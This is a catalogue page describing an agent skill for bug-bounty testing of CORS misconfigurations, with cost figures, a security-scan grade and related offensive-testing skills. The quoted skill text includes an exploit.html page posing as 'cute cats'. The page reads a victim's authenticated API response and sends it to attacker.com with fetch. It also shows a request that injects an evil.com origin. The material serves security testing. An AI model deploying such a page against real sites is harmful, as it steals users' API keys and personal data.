cors-misconfiguration-exploitation

cors-misconfiguration-exploitation is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 67 tokens per session (2,287 once invoked), scanned C, original, MIT.

A security testing guide for finding Cross-Origin Resource Sharing (CORS) mistakes that let one website read data from another website.

In plain words
What is it for?
Use it to assess REST APIs, browser requests, origin checks, credentials, and sensitive cross-domain responses.
Why use it?
It helps identify cases where an API trusts an attacker-controlled website or exposes authenticated user data across domains.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: positional $N argument.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Good fit Use it to assess REST APIs, browser requests, origin checks, credentials, and sensitive cross-domain responses.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge
agentmods
npx agentmods add skills/shulkwisec/bb-huge/cors-misconfiguration-exploitation

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for cors-misconfiguration-exploitation

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/cors-misconfiguration-exploitation/github.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/cors-misconfiguration-exploitation)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/cors-misconfiguration-exploitation"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/cors-misconfiguration-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for cors-misconfiguration-exploitation

Your own site · 80×15
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/cors-misconfiguration-exploitation"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/cors-misconfiguration-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 67 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,287 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00067 $0.02287
Opus 5 $0.00034 $0.01144
Sonnet 5 $0.00013 $0.00457
Haiku 4.5 $0.00007 $0.00229

Measured 7d ago against content hash 4b6d568cae3d, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade C, and why

cors-misconfiguration-exploitation scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Hidden instructionshighPrompt injection

Directives inside HTML comments, invisible characters or bidirectional overrides are read by the model and not by the person reviewing the file.

<!-- Concept: We must host a malicious website that forces the victim's browser to make the GET request -->
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

skills/curated/cors-misconfiguration-exploitation/SKILL.md · 199 lines

How it starts

The opening of the file, as written. The whole thing — 199 lines — stays where its author put it; the contents beside it link to each section on GitHub.

CORS Misconfiguration Exploitation

When to Use

  • When auditing REST APIs (/api/v1/user/details) that return highly sensitive user data.
  • When an application interacts heavily with external Subdomains (e.g., app.target.com talking to api.target.com).
  • When looking for a way to exfiltrate data from an authenticated session without possessing an XSS vulnerability on the target.

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Identifying Permissive CORS Headers

# Concept: The Same-Origin Policy (SOP) prevents Website A from reading data from Website B.
# CORS is a mechanism to bypass SOP safely. If misconfigured, an attacker's website can read 
# the victim's data from the vulnerable server.

# 1. Intercept a request to a sensitive endpoint (e.g., user profile data).
GET /api/private/details HTTP/1.1
Host: api.target.com
Origin: https://evil.com       # Inject an attacker-controlled origin

# 2. Analyze the Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

{"email": "[email protected]", "apiKey": "sk_live_xyz..."}

# Assessment: CRITICAL vulnerability. Because `Allow-Origin` dynamically reflected our evil origin, 
# AND `Allow-Credentials` is true, a script on evil.com can extract this user's API key.

Phase 2: Exploiting the Flaw (Building the HTML Payload)

<!-- Concept: We must host a malicious website that forces the victim's browser to make the GET request -->
<!-- and extract the API response. -->

<!-- 1. Create exploit.html on attacker.com -->
<html>
    <body>
        <h2>Loading cute cats...</h2>
        <script>
            // Initialize the cross-origin request
            var req = new XMLHttpRequest();
            req.onload = function() {
                // When the vulnerable API responds, exfiltrate the text out to our log server
                fetch('https://attacker.com/log?data=' + btoa(this.responseText));
            };
            // Target the vulnerable endpoint
            req.open('GET', 'https://api.target.com/api/private/details', true);
            
            // Critical: Force the browser to attach the victim's session cookies
            req.withCredentials = true;
            req.send();
        </script>
    </body>
</html>

Read the full file on GitHub · 199 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 199 lines · 67 tokens per session scan C 4b6d568cae3d

Subscribe to this mod's changes

cors-misconfiguration-exploitation is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 67 tokens to every session and 2,287 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 1 finding (hidden instructions). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

cors-misconfiguration-exploitation

Identify and exploit Cross-Origin Resource Sharing (CORS) misconfigurations. Use this skill when auditing APIs or web applications that share sensitive data across domains, forcing victims' browsers to inadvertently leak private information (e.g., API keys, PII, CSRF tokens) to an attacker-controlled website.

akashrpatil/awesome-offensive-security-skills · 67 tokens

broken-object-level-authorization

Identify and exploit Broken Object Level Authorization (BOLA), historically known as Insecure Direct Object Reference (IDOR), in API architectures. Extremely common and critical flaw where an API fails to validate whether the currently authenticated user actually owns or retains permissions over the specifically…

akashrpatil/awesome-offensive-security-skills · 63 tokens

oauth-flow-exploitation

Identify and exploit logical flaws in OAuth 2.0 and OpenID Connect workflows. Use this skill when testing "Sign in with Google/Facebook/Apple" features, focusing on Authorization Code interception, Implicit flow token leakage, standard CSRF bypassing via missing state parameters, and redirect logic flaws.

akashrpatil/awesome-offensive-security-skills · 69 tokens

websocket-hijacking-testing

Identify and exploit vulnerabilities within WebSocket communications, including Cross-Site WebSocket Hijacking (CSWSH), unauthenticated message spoofing, and data manipulation. Use this skill when auditing real-time applications such as trading platforms, live chat applications, or collaborative dashboards.

akashrpatil/awesome-offensive-security-skills · 61 tokens

prototype-pollution-rce

Identify and exploit Prototype Pollution vulnerabilities in JavaScript/Node.js applications. This skill covers the progression from polluting Object.prototype to identifying functional gadgets (like childprocess.spawn) to achieve Remote Code Execution (RCE).

akashrpatil/awesome-offensive-security-skills · 55 tokens

spring-boot-actuator-abuse

Identify and exploit misconfigured Spring Boot Actuator endpoints. This skill covers how to extract sensitive configuration details, heap dumps, environment variables, and ultimately escalating to Remote Code Execution (RCE) via spring-cloud-starter vulnerabilities.

akashrpatil/awesome-offensive-security-skills · 57 tokens